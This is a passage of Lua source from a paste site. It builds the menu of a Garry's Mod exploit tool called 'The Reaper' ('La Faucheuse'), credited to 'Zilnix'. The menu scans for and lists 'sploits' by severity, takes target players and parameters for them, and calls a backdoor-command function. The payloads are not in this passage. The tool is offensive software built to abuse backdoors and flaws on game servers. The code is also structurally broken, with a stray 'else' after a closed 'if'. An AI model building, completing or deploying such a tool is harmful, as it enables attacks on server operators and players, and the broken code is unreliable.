  2634. tttt:SetFont( "TargetIDSmall" )
  2635. tttt:SetText( btext )
  2636. tttt:SetTextColor ( Color(255,255,255))
  2637. tttt:SizeToContents()
  2638. local tentry = vgui.Create( "DTextEntry", hostframe )
  2639. tentry:SetPos( 12 + tttt:GetWide(), 3 )
  2640. tentry:SetSize( 100, 20 )
  2641. tentry:SetText( FAUCHEUSE.GetStored( addr, default ) )
  2642. tentry.OnChange = function( self )
  2643. FAUCHEUSE.Store( addr, self:GetValue() )
  2644. end
  2645. hostframe:SetSize( 20 + tttt:GetWide() + tentry:GetWide(), 26 )
  2646. return hostframe:GetWide(), hostframe:GetTall()
  2647. end
  2648. function FAUCHEUSE.MakeNumberInputButton( parent, x, y, btext, default, min, max, addr)
  2649. if !parent:IsValid() then return end
  2650. local hostframe = vgui.Create( "DPanel", parent )
  2651. hostframe:SetPos( x, y + 15 )
  2652. hostframe.Paint = function( self, w, h )
  2653. surface.SetDrawColor( Color(0, 0, 0, 255) )
  2654. surface.DrawRect( 0, 0, w, h )
  2655. surface.SetDrawColor( Color( 50, 50, 50 ) )
  2656. surface.SetMaterial( degraderbas )
  2657. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  2658. surface.SetDrawColor( Color(100, 100, 100, 255) )
  2659. surface.DrawOutlinedRect( 0, 0, w, h )
  2660. end
  2661. local tttt = vgui.Create( "DLabel", hostframe )
  2662. tttt:SetPos( 5, 5 )
  2663. tttt:SetText( btext )
  2664. tttt:SizeToContents()
  2665. local wangmeoff = vgui.Create( "DNumberWang", hostframe )
  2666. wangmeoff:SetPos( 10 + tttt:GetWide(), 2 )
  2667. wangmeoff:SetSize( 75, 20 )
  2668. wangmeoff:SetDecimals( 2 )
  2669. wangmeoff:SetMinMax( min , max )
  2670. wangmeoff:SetValue( FAUCHEUSE.GetStored( addr, default ) )
  2671. wangmeoff:SetAllowNonAsciiCharacters(false)
  2672. wangmeoff.OnValueChanged = function( self, val )
  2673. FAUCHEUSE.Store( addr, self:GetValue() )
  2674. end
  2675. hostframe:SetSize( 13 + tttt:GetWide() + wangmeoff:GetWide(), 24 )
  2676. return hostframe:GetWide(), hostframe:GetTall()
  2677. end
  2678. local FillFrameRates = RatesScaleLevel
  2679. concommand.Add( "reaper", function()
  2680. if true
  2681. then FAUCHEUSE.Menu = vgui.Create("DFrame")
  2682. FAUCHEUSE.Menu:SetSize(750,750)
  2683. FAUCHEUSE.Menu:SetTitle("Created By Zilnix")
  2684. FAUCHEUSE.Menu:Center()
  2685. FAUCHEUSE.Menu:MakePopup()
  2686. FAUCHEUSE.Menu.gay = table.Count( FAUCHEUSE.sploits )
  2687. FAUCHEUSE.Menu.Paint = function( s, w, h )
  2688. surface.SetDrawColor( Color(0,0,0,150))
  2689. surface.DrawRect( 0, 0, w, h )
  2690. surface.SetDrawColor( Color(0, 0, 0, 255) )
  2691. surface.DrawOutlinedRect( 0, 0, w, h )
  2692. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  2693. surface.DrawOutlinedRect( 2, 2, w - 4, h - 4 )
  2694. surface.SetDrawColor( Color(0, 0, 0, 225) )
  2695. surface.DrawRect( 35, 100, w - 60, h - 184)
  2696. surface.SetDrawColor( Color(0, 0, 0, 255) )
  2697. surface.DrawOutlinedRect( 35, 100, w - 60, h - 182 )
  2698. surface.DrawOutlinedRect( 36, 101, w - 62, h - 184 )
  2699. surface.SetDrawColor( Color(0, 0, 0, 220) )
  2700. surface.DrawRect( 160, 20, w - 300, h - 680 )
  2701. surface.SetDrawColor( Color(0, 0, 0, 255) )
  2702. surface.DrawOutlinedRect( 160, 20, w - 300, h - 680 )
  2703. surface.DrawOutlinedRect( 161, 21, w - 302, h - 682 )
  2704. draw.DrawText( "THE REAPER", "DermaLarge", 310, 25, Color(255,255,255, 255) )
  2705. draw.DrawText( "LA FAUCHEUSE DE GARRY'S MOD", "Trebuchet24", 250, 50, Color(math.random(1,255),math.random(1,255),math.random(1,255)) )
  2706. end
  2707. local Plist = vgui.Create( "DPanelList", FAUCHEUSE.Menu )
  2708. Plist:SetSize( FAUCHEUSE.Menu:GetWide() - 90, FAUCHEUSE.Menu:GetTall() - 220 )
  2709. Plist:SetPadding( 5 )
  2710. Plist:SetSpacing( 5 )
  2711. Plist:EnableHorizontal( false )
  2712. Plist:EnableVerticalScrollbar( true )
  2713. Plist:SetPos( 50, 120 )
  2714. Plist:SetName( "" )
  2715. FAUCHEUSE.MakeFunctionButton( FAUCHEUSE.Menu, 650, 20, "Charger", FAUCHEUSE.LoadConfig, "Charger une Config" )
  2716. FAUCHEUSE.MakeFunctionButton( FAUCHEUSE.Menu, 50, 20, "Sauvegarder", FAUCHEUSE.SaveConfig, "Sauvegarder la Config" )
  2717. local function CreateSploitPanel( name, t )
  2718. if !FAUCHEUSE.Menu then return end
  2719. local cmdp = vgui.Create( "DPanel" )
  2720. cmdp:SetSize( Plist:GetWide(), 100 )
  2721. cmdp.Cmd = name
  2722. cmdp.Desc = t.desc
  2723. cmdp.Paint = function( s, w, h )
  2724. surface.SetDrawColor( Color(0,0,0,10))
  2725. surface.DrawRect( 0, 0, w, h )
  2726. surface.SetDrawColor( severitycols[t.severity] )
  2727. surface.DrawOutlinedRect( 0, 0, w, h )
  2728. surface.DrawLine( 0, 25, w, 25 )
  2729. surface.DrawLine( 0, 26, w, 26 )
  2730. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  2731. draw.DrawText( cmdp.Cmd, "TargetID", 10, 5, Color(255,255,255) )
  2732. draw.DrawText( cmdp.Desc, "DebugFixed", 10, 30, Color(255,255,255, 255) )
  2733. end
  2734. local x = 10
  2735. for _, tab in ipairs( t.functions ) do
  2736. if tab.typ == "func" then
  2737. x = (x + 5) + FAUCHEUSE.MakeFunctionButton( cmdp, x, 42, tab.name, tab.func )
  2738. elseif tab.typ == "players" then
  2739. x = (x + 5) + FAUCHEUSE.MakePlayerSelectionButton( cmdp, x, 42, tab.addr )
  2740. elseif tab.typ == "htxcommandeliste" then
  2741. x = (x + 5) + FAUCHEUSE.HTXBackdoor( cmdp, x, 42, tab.name )
  2742. elseif tab.typ == "string" then
  2743. x = (x + 5) + FAUCHEUSE.MakeTextInputButton( cmdp, x, 42, tab.name, tab.default, tab.addr )
  2744. if !FAUCHEUSE.IsStored( tab.addr ) then FAUCHEUSE.Store( tab.addr, tab.default ) end
  2745. elseif tab.typ == "float" then
  2746. x = (x + 5) + FAUCHEUSE.MakeNumberInputButton( cmdp, x, 42, tab.name, tab.default, tab.min, tab.max, tab.addr )
  2747. if !FAUCHEUSE.IsStored( tab.addr ) then FAUCHEUSE.Store( tab.addr, tab.default ) end
  2748. end
  2749. end
  2750. Plist:AddItem( cmdp )
  2751. end
  2752. for k, v in pairs( FAUCHEUSE.sploits ) do
  2753. if v.scan() then CreateSploitPanel( k, v ) end
  2754. end
  2755. else
  2756. LocalPlayer():EmitSound("common/warning.wav",500,100)
  2757. LocalPlayer():EmitSound("common/warning.wav",500,100)
  2758. LocalPlayer():EmitSound("common/warning.wav",500,100)
  2759. LocalPlayer():EmitSound("common/warning.wav",500,100)
  2760. LocalPlayer():EmitSound("common/warning.wav",500,100)
  2761. LocalPlayer():EmitSound("common/warning.wav",500,100)
  2762. return end
  2763. end)
  2764. end -- ne pas toucher cac checker end !!!
Add Comment
Please, Sign In to add comment